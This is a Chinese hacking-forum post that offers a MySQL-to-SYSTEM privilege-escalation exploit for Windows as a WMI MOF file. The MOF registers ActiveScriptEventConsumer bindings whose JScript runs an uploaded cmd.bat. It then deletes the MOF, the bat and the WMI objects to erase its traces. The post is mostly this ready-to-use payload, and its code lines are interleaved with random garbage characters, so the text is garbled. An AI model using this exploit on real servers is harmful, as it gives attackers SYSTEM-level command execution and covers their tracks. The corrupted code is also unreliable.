找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2304|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。3 l$ F& u. F+ S- f6 X7 \% P4 N
需要将要运行的命令写入到bat上传到system32目录,然后执行。& w; D: Z/ Z' G

* O* G5 n6 L8 a$ S4 L这个sql提权MOF需要运行 system下的文件,不能定义路径。4 G' F; \* M4 b0 e! E
需要将要运行的命令写入到bat上传到system32目录,然后执行。0 j& E6 C! E* f2 K4 K

2 q# `' \9 U# F8 B9 u; H7 r#pragma; ?! x/ u- M9 Y" b, t
                        namespace("\\\\.\\root\\cimv2")
1 T- i3 |" v) d; y2 ~. N                        class
' `9 ]2 \( M" ]1 r7 [                        MyClass547; Q! X. M0 z3 m3 g9 ^3 L5 J
                        {           [key]1 Y: J* {# p  z2 g
                        string4 s- J* G7 ?# V; U
                        Name;
1 u! ^7 n' o0 o( ~1 G, o4 a6 J1 F1 a                        };
& N; k' F( d( ?" ]; y/ g) O  M                        class
  f$ Q  z9 Q9 H                        ActiveScriptEventConsumer
2 s) ~4 H1 r* [# N8 ?                        : __EventConsumer {          [key]4 c5 |8 q% X5 }6 n3 R
                        string' G& I2 ^$ [6 y! P1 z) [5 n  z- A
                        Name;           [not_null]1 w  Z3 G8 }5 S! k5 Z4 [
                        string3 z  X! y) }( d+ E- W
                        ScriptingEngine;           string" [, w+ f" L" u. t/ j) F2 Q
                        ScriptFileName;           [template]; R) ]6 u* s  R5 k0 E+ z; J1 c
                        string. Q/ ^. p, n3 C3 j- Z; H, ]
                        ScriptText;         uint32 KillTimeout;
6 @/ p5 \5 V% I7 |# L                        }; instance of __Win32Provider as $P {
# Q& u: w" m1 D$ W# h, G                        Name
: X! J3 \  d- ^3 [! E                        =$ ^4 o  g2 u6 C& n7 Y2 ~8 a
                        "ActiveScriptEventConsumer";     CLSID =
# s  k- k  E3 Q# `" v5 f8 s                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
( d% o. ]  g: n  k                        PerUserInitialization
; r0 o( X! ^! F8 l4 t                        = TRUE;, Q+ y/ X' u6 h  ]3 G
                        }; instance of __EventConsumerProviderRegistration {         Provider
4 \3 U( h& t" `$ o2 Z                        = $P;         ConsumerClassNames6 |3 o5 x7 X9 ]' M, c7 Q4 ^. q
                        =" u4 O7 V; e7 z: C4 }3 D" a
                        {"ActiveScriptEventConsumer"};$ k& t' l. P: X* @4 z& J" ]: m1 J
                        };8 b; ?& W) Z* ^  i3 |
                        Instance of ActiveScriptEventConsumer
4 V. y; S6 f5 W; Q6 ]0 W) N                        as $cons {         Name
  p# i1 K9 k: {- y  h% d                        =; H2 O* L! K# W0 T5 {
                        "ASEC";         ScriptingEngine
6 j3 X1 Z$ c1 t5 Q                        =
- q  W8 N8 r- Y* n4 L+ }                        "JScript";         ScriptText
# i$ [! v5 T" j6 g                        =
. a- O6 r5 y  ~- Y' D" M, V* n                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };5 N0 P. z" D1 z, X
                        Instance of ActiveScriptEventConsumer
& X5 L- V5 L) E2 g7 a                        as $cons2 {         Name
8 i* c9 K, J) t                        =
" e6 _" q7 F6 [: c6 C                        "qndASEC";         ScriptingEngine
6 e! X# g: ~* q; u                        =1 J  X: c* s4 R
                        "JScript";         ScriptText
& s& \' r/ T! d9 N                        =4 S" |! P+ H# z
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
8 N+ W, M2 H. U& e5 D  ?4 ]; _$ A                        }; instance of __EventFilter as $Filt {         Name
5 z6 T! A3 D# s' k2 K/ R5 i* d                        =$ [4 g7 z7 m8 i, t8 b2 {" N' a" d7 K
                        "instfilt";         Query
1 p' x: N6 b: z; z& f" P                        =$ @; L$ {3 x) Y" D+ ^
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
* ?5 E7 P9 D. n/ {, h0 s0 V3 _                        =
& @9 w+ X3 P* {$ L6 I  _. y                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
4 U0 K. z  q' U+ ?                        =& z, B5 f& a% J8 W
                        "qndfilt";         Query
5 q7 N( s( T6 V& e' h                        =5 _, r1 V+ _6 o9 M: j( `
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
, R  }' h. \! q! v/ g. r6 J                        =. h4 q( W8 V' a. F
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer: i( L$ ?- K, p
                        = $cons;         Filter
% g# x( P/ m- X) G                        = $Filt;
" a$ [* C3 u. l! x                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
2 V9 W& E  y4 a7 E3 h) ^4 j: c                        = $cons2;         Filter' d+ p( N! u9 a. _2 g
                        = $Filt2;6 G. C" \8 L" A: Z5 ?9 N
                        }; instance of MyClass547
( R5 N0 a& I9 w& F                        as $MyClass {         Name
7 i) [9 }( |' ?% _- s) m                        =  d6 Y3 V8 ?) Q  W! K
                        "ClassConsumer";7 L, i6 A& u" J" m  a' _( y
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表